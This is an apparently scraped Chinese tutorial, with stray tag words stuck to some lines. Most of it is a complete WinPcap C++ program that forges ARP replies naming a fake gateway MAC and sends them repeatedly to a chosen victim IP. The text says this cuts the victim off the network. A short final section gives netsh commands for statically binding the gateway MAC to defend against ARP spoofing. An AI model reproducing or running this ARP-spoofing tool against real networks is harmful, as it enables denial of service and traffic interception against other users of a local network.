1、在Visual Studio 2010软件中创建一个项目,配好相应的属性,将如下代码粘贴项目栏中,调试运行如下代码。网络
// WinpCap Test.cpp : 定义控制台应用程序的入口点。ide
//spa
#include "stdafx.h"调试
#include <pcap.h>orm
int _tmain(int argc, _TCHAR* argv[])blog
{ip
pcap_if_t * allAdapters;//适配器列表路由
pcap_if_t * adapter;rem
pcap_t * adapterHandle;//适配器句柄get
u_char packet[ 1020 ]; //待发送的数据封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区
if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL,
&allAdapters, errorBuffer ) == -1 )
{//检索机器链接的全部网络适配器
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}
if( allAdapters == NULL )
{//不存在人任何适配器
printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
return 0;
}
int crtAdapter = 0;
for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//遍历输入适配器信息(名称和描述信息)
printf( "\n%d.%s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );
//选择适配器
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );
if( adapterNumber < 1 || adapterNumber > crtAdapter )
{
printf( "\nAdapter number out of range.\n" );
// 释放适配器列表
pcap_freealldevs( allAdapters );
return -1;
}
adapter = allAdapters;
for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
adapter = adapter->next;
// 打开指定适配器
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定适配器打开失败
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
// 释放适配器列表
pcap_freealldevs( allAdapters );
return -1;
}
pcap_freealldevs( allAdapters );//释放适配器列表
//建立数据封包
// 设置目标的MAC地址为01 : 01 : 01 : 01 : 01 : 01
// packet[] = {0xff ff ff ff ff ff c8 9c dc 22 62 0f 08 06 00 01 08 00 06 04 00 01 c8 9c dc 22 62 0f ac 1c 0f 14 00 00 00 00 00 00 ac 1c 0f 13};
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; // 被骗计算机的mac地址
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; // 本身的mac地址
packet[12] = 0x08; packet[13] = 0x06; // 以太网封装arp协议(不用动)
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:表明以太网
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:表明IP协议
packet[18] = 0x06; // arp第3字段:表明第二层地址的长度
packet[19] = 0x04; // arp第4字段:表明第三层地址的长度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; // 假的网关地址,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 网关的ip,这里是172.28.15.254(在本实验室不用改)
packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x6c; packet[37] = 0x58; // 被骗计算机的mac地址
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x13; // 被骗计算机的IP地址,这里是172.28.15.19 (想骗谁,这里就改为谁的IP)
// 设置封包其余部份内容
/*
for( int index = 12; index < 100; index++ )
{
packet[index] = 0xC4;
}
*/
//发送数据封包
for(int ssde=0;ssde<100;ssde++)
{
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}
if( pcap_sendpacket( adapterHandle, // the adapter handle
packet, // the packet
// the length of the packet
42) != 0 )
{
fprintf( stderr,"\nError sending the packet: \n", pcap_geterr( adapterHandle ) );
return -1;
}
system( "PAUSE" );
return 0;
}
而后对方就上不了网了!
如何静态绑定本机的Mac,防止arp欺骗
1、在cmd命令界面中输入“netsh i i show in”(这是“netsh interface ipv4 show interfaces的缩写”,就能够查看到本地链接对应的“IDX”值。
2、接下来找到路由器(即网关)的IP地址和MAC地址。经过在命令窗口中输入“IPconfig /all”来查看。
3、实现静态绑定:
在命令窗口中输入 【netsh -c "i i" ad ne 本地链接IDX 网关IP 网关MAC 】便可实现绑定。
4、静态绑定的删除,咱们可使用命令“netsh -c "i i" delete neighbors 本地链接IDX ”来删除以前的绑定。